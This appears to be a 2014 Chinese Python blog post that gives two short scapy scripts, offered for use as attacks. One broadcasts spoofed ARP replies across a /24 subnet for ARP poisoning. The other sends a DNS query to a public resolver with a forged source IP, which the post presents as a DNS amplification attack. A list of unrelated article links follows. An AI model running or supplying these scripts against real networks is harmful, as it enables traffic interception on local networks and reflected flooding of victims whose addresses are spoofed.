Python中使用scapy模拟数据包实现arp攻击、dns放大攻击例子


Posted in Python onOctober 23, 2014

scapy是python写的一个功能强大的交互式数据包处理程序,可用来发送、嗅探、解析和伪造网络数据包,常常被用到网络攻击和测试中。

这里就直接用python的scapy搞。

这里是arp的攻击方式,你可以做成arp攻击。

#!/usr/bin/python

"""

ARP attack

"""

import sys, os

from scapy.all import *

if os.geteuid() != 0:

    print "This program must be run as root. Aborting."

    sys.exit()
if len(sys.argv) < 2:

    print "Pkease Use %s x.x.x" % (sys.argv[0])

    exit()

attackIP = sys.argv[1] + ".0/24"

srploop(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=attackIP, psrc="192.168.1.100", hwsrc="00:66:66:66:66:66"), timeout=2)

dns放大攻击

#coding:utf-8

from scapy import *

from scapy.all import *
a = IP(dst='8.8.8.8',src='192.168.1.200') #192.168.1.200 为伪造的源ip

b = UDP(dport=53)

c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)

c.qd=DNSQR(qname='www.qq.com',qtype=1,qclass=1)

p = a/b/c

send(p)

~
Python 相关文章推荐
python 捕获 shell/bash 脚本的输出结果实例
Jan 04 Python
python批量添加zabbix Screens的两个脚本分享
Jan 16 Python
Python 爬虫之超链接 url中含有中文出错及解决办法
Aug 03 Python
python调用Delphi写的Dll代码示例
Dec 05 Python
PYQT5设置textEdit自动滚屏的方法
Jun 14 Python
网易有道2017内推编程题 洗牌(python)
Jun 19 Python
python爬虫刷访问量 2019 7月
Aug 01 Python
python实现的接收邮件功能示例【基于网易POP3服务器】
Sep 11 Python
python主要用于哪些方向
Jul 05 Python
15个Pythonic的代码示例(值得收藏)
Oct 29 Python
如何在Python中创建二叉树
Mar 30 Python
Django集成富文本编辑器summernote的实现步骤
May 31 Python
使用Python开发windows GUI程序入门实例
Oct 23 #Python
手动实现把python项目发布为exe可执行程序过程分享
Oct 23 #Python
python文件操作整理汇总
Oct 21 #Python
Python中input和raw_input的一点区别
Oct 21 #Python
Python中if __name__ == &quot;__main__&quot;详细解释
Oct 21 #Python
Python创建文件和追加文件内容实例
Oct 21 #Python
python3生成随机数实例
Oct 20 #Python
You might like
php下使用无限生命期Session的方法
2007/03/16 PHP
php对mongodb的扩展(初出茅庐)
2012/11/11 PHP
Yii编程开发常见调用技巧集锦
2016/07/15 PHP
php使用file函数、fseek函数读取大文件效率对比分析
2016/11/04 PHP
php简单处理XML数据的方法示例
2017/05/19 PHP
根据json字符串生成Html的一种方式
2013/01/09 Javascript
纯HTML5制作围住神经猫游戏-附源码下载
2015/08/23 Javascript
jquery按回车键实现表单提交的简单实例
2016/05/25 Javascript
分享JS代码实现鼠标放在输入框上输入框和图片同时更换样式
2016/09/01 Javascript
使用bootstrap插件实现模态框效果
2017/05/10 Javascript
JavaScript设计模式之工厂模式和抽象工厂模式定义与用法分析
2018/07/26 Javascript
通过vue-cli3构建一个SSR应用程序的方法
2018/09/13 Javascript
JS 实现微信扫一扫功能
2018/09/14 Javascript
vue--点击当前增加class,其他删除class的方法
2018/09/15 Javascript
微信小程序下拉刷新PullDownRefresh的使用方法
2018/11/29 Javascript
vue缓存的keepalive页面刷新数据的方法
2019/04/23 Javascript
Vue项目从webpack3.x升级webpack4不完全指南
2019/04/28 Javascript
vue中引入mxGraph的步骤详解
2019/05/17 Javascript
python调用cmd复制文件代码分享
2013/12/27 Python
使用beaker让Facebook的Bottle框架支持session功能
2015/04/23 Python
python类和继承用法实例
2015/07/07 Python
Django开发中复选框用法示例
2018/03/20 Python
python控制台实现tab补全和清屏的例子
2019/08/20 Python
python3将变量写入SQL语句的实现方式
2020/03/02 Python
如何使用Cython对python代码进行加密
2020/07/08 Python
详解Pandas 处理缺失值指令大全
2020/07/30 Python
简单介绍CSS3中Media Query的使用
2015/07/07 HTML / CSS
国际奢侈品品牌童装购物网站:Designer Childrenswear
2019/05/08 全球购物
客服专员岗位职责范本
2013/11/29 职场文书
英语专业个人求职信范文
2014/02/01 职场文书
股东授权委托书
2014/10/15 职场文书
破坏寝室公物检讨书
2014/11/17 职场文书
新学期开学寄语2016
2015/12/04 职场文书
nginx里的rewrite跳转的实现
2021/03/31 Servers
解决mysql:ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: NO/YES)
2021/06/26 MySQL
css3手动实现pc端横向滚动
2022/06/21 HTML / CSS